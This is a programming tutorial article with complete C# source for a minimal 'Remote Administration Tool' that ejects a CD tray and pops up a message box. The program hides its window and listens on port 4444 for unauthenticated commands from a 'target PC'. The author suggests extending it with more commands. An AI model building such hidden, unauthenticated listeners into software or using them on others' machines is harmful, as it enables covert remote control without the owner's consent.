Click here to Skip to main content
15,908,115 members
Articles / Programming Languages / C#
Article

Remotely Eject CD and Pop Up Message Box

Rate me:
Please Sign up or sign in to vote.
3.33/5 (10 votes)
16 Sep 2007CPOL5 min read 54.9K   805   40   3
Remotely display message, eject and close CD
Screenshot - Putty.jpg

Note

The above shows how I connect to the server using Putty (you can also use netcat, or telnet). The server part is invisible.

Introduction

This is a very simple program to remotely eject CD and pop-up a message box, written in C#. To use it, run it on the target PC. It will listen on port 4444. Then connect to it using Putty, Netcat or Telnet. When the connection is established, type the following commands:

  • 0 for help
  • 1 for displaying a Hello World message in a Message Box to the target PC user
  • 2 for ejecting the PC's CD tray
  • 3 for closing the PC's CD tray
  • 9 to shutdown the Server Process and also close port 4444

It runs on Windows Vista and Windows XP.

Background

The goal of this article is to educate myself on how to remotely eject a CD and pop up a message box with as minimal coding as possible. Hence, I have only implemented 5 commands as mentioned above in the Introduction section. This project consists of only the server part, you can use Putty, Netcat or Telnet to connect. All commands are sent from the command line. I have left out the client part in order to make this project as small and as simple as possible.

Using the Code

I compiled it in Visual C# 2005 Express and tested it on Vista and WinXP. Below is the latest version of the source code:

C#
//
// Simple Remote Administration Tool (RAT) in C# by Paul Chin
// as at Aug 8, 2007
//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO;
using System.Threading;
using System.Runtime.InteropServices; //for calling Win32 API to eject and close CD
using System.Net; //for IPAddress

//Run this Server on the Target PC and connect using Putty, Netcat or Telnet
namespace RatServer
{
   public partial class Form1 : Form
   {
       #region Variable Declarations
       //Commands from Client:
       const string HELP     = "0",
                    MESSAGE  = "1",
                    EJECTCD  = "2",
                    CLOSECD  = "3",
                    SHUTDOWN = "9"; //Shutdown the Server process and port, not the PC

       const string strHelp = "Command Menu:\r\n" +
                              "0 This Help\r\n" +
                              "1 Message\r\n" +
                              "2 Eject CD Tray\r\n" +
                              "3 Close CD Tray\r\n" +
                              "9 Shutdown the Server Process and Port\r\n";

      TcpListener tcpListener;

     //Use a separate thread for each command so that the
     //server commands can run concurrently instead of blocking
     Thread th_message,
            th_ejectcd,
            th_closecd;

     Socket        socketForClient; 
     NetworkStream networkStream; 
     StreamReader  streamReader;
     StreamWriter  streamWriter;
     #endregion

     public Form1()
     {
        InitializeComponent();
     }

     private void Form1_Shown(object sender, EventArgs e)
     {
       this.Hide();
       tcpListener = new TcpListener(System.Net.IPAddress.Any, 4444);
       tcpListener.Start();
       for(;;) RunServer(); //perpetually spawn socket until
                            //SHUTDOWN command is received
     }

     private void RunServer()
     {
       socketForClient = tcpListener.AcceptSocket();
       networkStream = new NetworkStream(socketForClient);
       streamReader = new StreamReader(networkStream);
       streamWriter = new StreamWriter(networkStream);

       //try...catch is used so that if client suddenly disconnects
       //it will throw an exception which is caught by the catch{} block.
       //In the catch{} block, the CleanUp() method closes all sockets
       //so that they can be re-used. 
        //At this point, control returns to private void Form1_Shown() method
       //where the for(;;) perpetual loop will call RunServer() again.
       //To shutdown the server, the client sends the SHUTDOWN command coded
       //as "9".
       //Alternatively, the user can CTRL-ALT-DEL to use the Task Manager
       //to kill it.
       try
       {
          string line;
          //Command loop, LastIndexOf is to search within the Network Stream
          //for any command strings sent by the Client
          while (true)
          {
             line = "";
             line = streamReader.ReadLine();

             if (line.LastIndexOf(HELP) >= 0)
             {  
               streamWriter.Write(strHelp);
               streamWriter.Flush();
             }
             if (line.LastIndexOf(MESSAGE) >= 0)
             {
               th_message = new Thread(new ThreadStart(MessageCommand));
               th_message.Start();
             }
             if(line.LastIndexOf(EJECTCD) >= 0)
             {
               th_ejectcd = new Thread(new ThreadStart(EjectCD));
               th_ejectcd.Start();
             }
             if(line.LastIndexOf(CLOSECD) >= 0)
             {
               th_closecd = new Thread(new ThreadStart(CloseCD));
               th_closecd.Start();
             }
             if(line.LastIndexOf(SHUTDOWN) >= 0)
             {
               streamWriter.Flush();
               CleanUp();
               System.Environment.Exit(System.Environment.ExitCode);
             }
         }//end while
      }
      catch (Exception err) //if Client suddenly disconnects    
      {
         CleanUp();
      }
   }//end RunServer()

   private void CleanUp() //close sockets so that they can be re-used
   {
      streamReader.Close();
      networkStream.Close();
      socketForClient.Close();
   }

   private void MessageCommand()
   {
      MessageBox.Show("Hello World","Greetings",MessageBoxButtons.OK);
   }

   //This is necessary to enable Win32 API calls to eject or close the CD tray
   [DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
   public static extern void mciSendStringA(string lpstrCommand, 
	string lpstrReturnString, Int32 uReturnLength, Int32 hwndCallback);
   string rt = "";

   private void EjectCD()
   {
     mciSendStringA("set CDAudio door open", rt, 127, 0); 
   }

   private void CloseCD()
   {
     mciSendStringA("set CDAudio door closed", rt, 127, 0);
   }
  }//end Form1 class
}

Points of Interest

The form opacity property is set to 0 and in the Form1_Shown event handler, a line...

C#
this.Hide() 

... is used to make the form invisible. Without first setting the opacity to 0, the form will flash briefly when the program executes. Also, inserting this.Hide() in the Form_Load event does not work to hide the form. That is why I chose to put this.Hide() in the Form_Shown event instead.

Thereafter, the following lines of code listen for connections on TCP port 4444:

C#
tcpListener = new TcpListener(System.Net.IPAddress.Any, 4444);
tcpListener.Start();

It will bind on all IP addresses, whether it is loopback (127.0.0.1), intranet (e.g. 192.168.0.1) or even public IP (e.g. 219.95.12.23). The next line of code is a perpetual loop:

C#
for(;;) RunServer(); 

I designed a loop so that if a client were to suddenly disconnect, the loop will call RunServer again. As such, a user can connect and disconnect as many times as she/he likes and each time, the for loop will keep calling RunServer().

We now look at the RunServer() method. This code creates a socket each time a client connects:

C#
socketForClient = tcpListener.AcceptSocket();

The try...catch block is used so that if a client suddenly disconnects, it will throw an exception which is caught by the catch{} block. In the catch{} block, the CleanUp() method closes all sockets so that they can be re-used. I have read elsewhere that an alternative would be to check for 0 bytes read in socket.read(). If amount of bytes read is 0, it means that the client has closed the connection. However, since I am already using the streamReader.readline() method, I did not want to rewrite the code to put in socket.read().

If a client disconnects, control returns to the Form1_Shown method where the for(;;) loop will call RunServer() again. To shutdown the server, the client sends the SHUTDOWN command coded as "9". To summarize. If you connect to the server and issue the command "9", it will shut down the server and close port 4444 cleanly. However, if you suddenly close the connection, the server will still be listening on port 4444 and you can re-connect again and again.

On the other hand, if the client did not disconnect, the program will enter the while loop which is another perpetual loop:

C#
while (true)
{
  line = "";
  line = streamReader.ReadLine();
  
  if (line.LastIndexOf(HELP) >= 0)
  { 
    streamWriter.Write(strHelp);
    streamWriter.Flush();
  }
  if (line.LastIndexOf(MESSAGE) >= 0)
  {
    th_message = new Thread(new ThreadStart(MessageCommand));
    th_message.Start();
  }
  if(line.LastIndexOf(EJECTCD) >= 0)
  {
    th_ejectcd = new Thread(new ThreadStart(EjectCD));
    th_ejectcd.Start();
  }
  if(line.LastIndexOf(CLOSECD) >= 0) 
  {
    th_closecd = new Thread(new ThreadStart(CloseCD));
    th_closecd.Start();
  }
  if(line.LastIndexOf(SHUTDOWN) >= 0)
  {
    streamWriter.Flush();
    CleanUp();
    System.Environment.Exit(System.Environment.ExitCode);
  }
}//end while

This is the heart of the server. Here is where all commands get processed. As long as the client does not send the SHUTDOWN command coded as "9", the server will keep looping in the while loop to process commands that the client keeps sending. Each separate command is handled by a separate if-statement. Here is where you can add as many functionalities for the server as you desire. For this simple example, I have only put in 5 functionalities. If you wish to put in a new functionality, just insert another if-statement. You will note that the LastIndexOf method will look for command strings within the stream sent by the client. The client sends either "0", "1", "2", "3", or "9" . In order to make the program more legible, I have earlier coded these strings into meaningful words:

C#
//Commands from Client:
       const string HELP = "0",
                    MESSAGE = "1",
                    EJECTCD = "2",
                    CLOSECD = "3",
                    SHUTDOWN = "9"; //Shutdown the Server process and port, not the PC

To illustrate, take this portion of the code:

C#
if (line.LastIndexOf(MESSAGE) >= 0)
{
     th_message = new Thread(new ThreadStart(MessageCommand));
     th_message.Start();
}

Once a MESSAGE command is received, it will spawn a new thread to call the MessageCommand() method. This will prevent the code from blocking - i.e. halting and waiting for the MessageCommand() to complete. Using threads to handle each command ensures that multiple commands can run concurrently.

To eject and close the CD tray, we need to call the Win32 API functions. These are low level functions "hidden" within DLL files which collectively comprise the heart of the Operating System. For our purpose, we need to use the mciSendStringA() function which is exported by the winmm.dll library. And in C#, the Win32 API can be called by including the header...

C#
using System.Runtime.InteropServices;

... and followed by importing the winmm.dll:

C#
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
public static extern void mciSendStringA(string lpstrCommand, 
	string lpstrReturnString, Int32 uReturnLength, Int32 hwndCallback);

If client sends the SHUTDOWN command, the program will close all sockets by calling the CleanUp() method and then terminate with the System.Environment.Exit() method:

C#
if(line.LastIndexOf(SHUTDOWN) >= 0)
{
   streamWriter.Flush();
   CleanUp();
   System.Environment.Exit(System.Environment.ExitCode);
}

History

Updated on August 8, 2007

All source code in this article is the updated code as of August 8th, 2007. The source code download is also the August 8th version. In this article, I have removed all references to the previous version, and only show the most current code. This is to keep the article short and easier to follow. This update fixes the problem of the server refusing to accept new connections whenever a client suddenly disconnects. The server is now able to detect the dropped connection, close the socket (for re-use) and go back to listening for new connections.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Malaysia Malaysia
Coder and Instructor at:

https://crackinglessons.com
https://crackinglesson.com
https://www.udemy.com/user/paulchin/

Comments and Discussions

 
GeneralMy vote of 5 Pin
(BlackBox) Ethical Hacker31-Oct-10 5:44
(BlackBox) Ethical Hacker31-Oct-10 5:44 
QuestionConnect to server Pin
nem0n35512-Aug-08 1:30
nem0n35512-Aug-08 1:30 
GeneralMCI Command string. Pin
tonymudd1-Oct-07 0:13
tonymudd1-Oct-07 0:13 
Great article - I wrote something similar 10 years ago in c++ that was a windows service and just passed whatever you typed to the MCI Command string interpreter.
It did mean you had to remember the syntax of the commands (like your use of "set cdaudio door open"), but you could do things like turn off the left audio channel.
Quite helpful when you sit next to someone who likes turning his music up too loud.

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.